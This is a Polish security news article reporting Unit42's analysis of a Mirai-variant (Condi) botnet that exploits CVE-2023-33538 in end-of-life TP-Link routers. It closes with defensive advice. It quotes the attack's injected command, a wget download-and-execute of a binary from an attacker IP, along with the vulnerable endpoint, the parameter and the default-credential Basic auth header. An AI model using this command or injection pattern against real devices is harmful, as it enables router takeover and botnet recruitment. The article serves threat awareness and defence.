Masz stary router TP-Link? Botnet Mirai aktywnie wykorzystuje lukę CVE-2023-33538 do przejęcia kontroli nad urządzeniami

Badacze bezpieczeństwa z Unit42 alarmują o trwającej kampanii wymierzonej w posiadaczy starszych routerów TP-Link. Na celowniku są modele, które nie są już objęte wsparciem producenta (status End-of-Line):

• TL-WR940N (V2,V4),
• TL-WR740N (V1,V2),
• TL-WR841N (V8,V10).

Cyberprzestępcy wykorzystują lukę oznaczoną jako CVE-2023-33538, która pozwala na wstrzykiwanie złośliwych poleceń (RCE, Remote Command Execution). Analizując próbki można dojść do wniosku, że to kolejny wariant malware stosowany przez botnet typu Mirai.

Aktywność była możliwa do wykrycia po tym, jak w czerwcu 2025 r. agencja CISA (Cybersecurity and Infrastructure Security Agency) dodała informację o atakach na routery TP-Link do katalogu znanych, wykorzystywanych podatności (baza KEV). 

Systemy Unit42 wykryły w tym samym okresie wzmożone próby automatycznej eksploitacji urządzeń przeprowadzane na szeroką skalę. I choć często ataki kończyły się niepowodzeniem (na skutek uszkodzonych exploitów lub złego doboru urządzeń końcowych) to eksperci ostrzegają przed nadmiernym optymizmem. Zagrożenie jest realne, a skuteczny atak kończy się przejęciem routera i dołączeniem go do sieci botnet.

TLDR:

• Badacze z Unit42 wykryli kampanię wymierzoną w starsze routery TP-Link (TL-WR940N, TL-WR740N, TL-WR841N).
• Atakujący wykorzystują lukę CVE-2023-33538 do wstrzykiwania złośliwych poleceń.
• Cyberprzestępcy nie dostosowują skryptów do konkretnych wersji urządzeń, przez co ataki na ogół kończą się niepowodzeniem.
• Analiza malware wykazała powiązania z botnetem Mirai (wariant Condi).
• Zgodnie z wnioskami analityków, jednym ze skutecznych sposobów ochrony jest zmiana domyślnych poświadczeń logowania (admin:admin).

Na czym polega atak?

Cyberprzestępcy wysyłają złośliwe żądania HTTP GET do endpointu /userRpm/WlanNetworkRpm. Z powodu braku odpowiedniej sanityzacji danych, atakujący może wstrzyknąć polecenie bezpośrednio do parametru ssid. W praktyce oznacza to wykonanie dowolnego kodu z uprawnieniami roota.

Na samym początku warto zwrócić uwagę na nagłówek żądania Authorization: Basic YWRtaW46YWRtaW4=. Kryją się pod nim standardowe dane uwierzytelniające admin:admin zakodowane w Base64. Jeżeli administrator zmienił domyślne dane logowania, dostęp do endpointu /userRpm/WlanNetworkRpm jest niemożliwy, a atak kończy się niepowodzeniem już na starcie.

Jeśli jednak router zaakceptuje żądanie, następuje wykonanie polecenia wstrzykniętego w parametrze ssid (wget http://51[.]38[.]137[.]113/arm7 -O /tmp/arm7; chmod 777 /tmp/arm7; /tmp/arm7 tplink). 

W analizowanym przykładzie mamy kolejno: pobranie złośliwej binarki ELF arm7, zapisanie jej w lokalizacji tymczasowej (/tmp/arm7) oraz nadanie pełnych uprawnień (w tym do wykonywania). W ostatnim kroku następuje uruchomienie pliku z parametrem tplink. Może to oznaczać przekazanie klucza deszyfrującego payload, specjalny znacznik kampanii lub identyfikator rodziny atakowanych urządzeń. 

Warto dodać, że wiele wariantów botnetu Mirai wymaga podania konkretnego ciągu znaków przy starcie. Służy to do weryfikacji, czy oprogramowanie jest uruchamiane przez skrypt atakującego. Brak oczekiwanego parametru wejściowego wskazywałoby na środowisko analityczne (sandbox), co skutkuje tym, że właściwy kod malware nie zostanie wykonany, utrudniając tym samym proces analizy.

Analiza pliku wykonywalnego arm7 dowiodła, że jest to wariant malware Condi IoT – rodziny botnetów opartej na Mirai.  

Dane serwera Command & Control (C2) zostały na stałe umieszczone wewnątrz pliku wykonywalnego.

Co ciekawe, atakujący w żaden sposób nie zamaskowali adresu IP oraz portu serwera, dzięki czemu analitycy stosunkowo szybko powiązali infrastrukturę z domeną cnc.vietdediserver[.]shop, znaną z wcześniejszych kampanii botnetu Condi.

Po uruchomieniu pliku wykonywalnego następowało nawiązanie połączenie z serwerem C2, co skutkowało włączeniem routera do sieci botnet. Dalszy scenariusz łatwo sobie wyobrazić. Przejęte urządzenie mogło brać udział w rozsyłaniu spamu, przeprowadzania masowych ataków DDoS (Distributed Denial-of-Service) czy też skanowaniu sieci w poszukiwaniu kolejnych podatnych celów. 

Dzięki temu botnet mógł samoczynnie rozprzestrzeniać się na inne urządzenia IoT, tworząc coraz to bardziej rozbudowaną sieć, gotową do działania na żądanie atakującego.

W obserwowanej kampanii atakujący skupili się na masowej eksploitacji potencjalnie podatnych urządzeń stosując ten sam schemat ataku. Z tego powodu dało się zaobserwować poważne błędy implementacyjne występujące w kodzie malware, które już na samym początku skutkowały przerwaniem ataku. 

Przykładem jest chociażby próba wstrzyknięcia komend w parametr ssid, podczas gdy podatność występuje w polu ssid1. Dodatkowo, skrypty korzystały z narzędzia wget, którego domyślnie brakuje w okrojonym środowisku urządzeń sieciowych. Atakujący nie zaimplementowali mechanizmu sprawdzającego, jakie narzędzia są dostępne w systemie i których z nich można użyć do pobrania ładunku z serwera C2.

Kolejna uwaga dotyczy domyślnych danych logowania. Atakujący nie tracą czasu na próby przełamywania dostępu do panelu administracyjnego, tylko sprawdzają najprostszy możliwy scenariusz – domyślne poświadczenia producenta.

Zaprezentowana kampania to klasyczny przykład operacji, w której niska jakość kodu exploita jest rekompensowana ogromną skalą ataku. Choć większość prób zapewne zakończyła się niepowodzeniem, to sam fakt aktywnego skanowania podatnych urządzeń przypomina o konieczności wdrożenia rozwiązań zabezpieczających infrastrukturę. 

W przypadku urządzeń o statusie EoL, które nie otrzymują już poprawek bezpieczeństwa, istotne jest wdrażanie alternatywnych metod ochrony oraz utwardzanie konfiguracji sieciowej. Najlepszym rozwiązaniem pozostaje wymiana sprzętu na nowsze modele wspierane przez producenta, jednak nie zawsze istnieje taka możliwość. W tej sytuacji należy podjąć działania zmniejszające płaszczyznę ataku (np. wyłączenie zdalnego zarządzania – WAN Management, filtrowanie adresów IP – whitelist, zmiana domyślnego portu zarządzania).

Jak łatwo zauważyć, posiadanie unikalnych danych logowania do panelu administracyjnego skutecznie powstrzymywało próby ataków. Z tego powodu zalecamy zmianę domyślnych poświadczeń uwierzytelniających oraz monitorowanie ruchu sieciowego pod kątem nietypowych połączeń wychodzących. 

Takie połączenia mogą sygnalizować, że urządzenie zostało przejęte i stało się częścią botnetu.

Źródło: unit42.paloaltonetworks.com 

~_secmike